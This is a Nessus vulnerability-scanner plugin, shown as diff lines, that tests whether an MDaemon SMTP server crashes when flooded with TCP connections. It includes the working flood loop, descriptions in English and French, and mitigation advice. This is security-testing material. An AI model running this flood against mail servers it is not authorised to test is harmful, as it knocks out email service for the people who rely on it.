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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
- # References:
- # Date: Sun, 27 Oct 2002 19:49:45 +0300
- # From: "D4rkGr3y" <grey_1999@mail.ru>
- # To: bugtraq@securityfocus.com, submissions@packetstormsecurity.com,
- # vulnwatch@vulnwatch.org
- # Subject: MDaemon SMTP/POP/IMAP server DoS
- #
-
- if(description)
- {
- script_id(10137);
- script_bugtraq_id(8554);
- script_version ("$Revision: 1.19 $");
- script_cve_id("CAN-1999-0846");
-
- name["english"] = "MDaemon DoS";
- name["francais"] = "DΘni de service MDaemon";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- It was possible to crash the remote SMTP server
- by opening a great amount of sockets on it.
-
-
- This problem allows an attacker to make your
- SMTP server crash, thus preventing you
- from sending or receiving e-mails, which
- will affect your work.
-
-
- *** Note that due to the nature of this vulnerability,
- *** Nessus can not be 100% positive on the effectiveness of
- *** this flaw. As a result, this report might be a false positive
-
- Solution :
- If your SMTP server is constrained to a maximum
- number of processes, i.e. it's not running as
- root and as a ulimit 'max user processes' of
- 256, you may consider upping the limit with 'ulimit -u'.
-
- If your server has the ability to protect itself from
- SYN floods, you should turn on that features, i.e. Linux's CONFIG_SYN_COOKIES
-
- The best solution may be Cisco's 'TCP intercept' feature.
-
-
- Risk factor : High";
-
-
- desc["francais"] = "Il s'est avΘrΘ possible de faire
- planter le serveur SMTP distant en ouvrant un grand
- nombre de connections dessus.
-
- Ce problΦme permet α des pirates de faire
- planter votre serveur SMTP, vous empechant
- ainsi d'envoyer et de recevoir des emails,
- ce qui affectera votre travail.
-
- Solution : contactez votre vendeur pour un patch.
-
- Facteur de risque : SΘrieux";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Crashes the remote MTA";
- summary["francais"] = "Fait planter le MTA distant";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- if (ACT_FLOOD) script_category(ACT_FLOOD);
- else script_category(ACT_DENIAL);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "sendmail_expn.nasl");
- script_exclude_keys("SMTP/wrapped");
- script_require_ports("Services/smtp", 25);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
-
- include("smtp_func.inc");
-
- port = get_kb_item("Services/smtp");
- if(!port)port = 25;
- if(get_port_state(port))
- {
- i = 0;
- ref_soc = open_sock_tcp(port);
- if ( ! ref_soc ) exit(0);
- banner = smtp_recv_line(socket:ref_soc);
-
- soc = open_sock_tcp(port);
- if(!soc)exit(0);
- while(TRUE)
- {
- soc = open_sock_tcp(port);
- if(!soc){
- sleep(5);
- soc2 = open_sock_tcp(port);
- if(!soc2){
- send(socket:ref_soc, data:'HELP\r\n');
- out = smtp_recv_line(socket:ref_soc);
- if ( ! out ) security_hole(port);
- }
- else close(soc2);
- close(ref_soc);
- exit(0);
- }
- if( i > 400)
- {
- close(ref_soc);
- exit(0);
- }
- i = i + 1;
- }
- }
-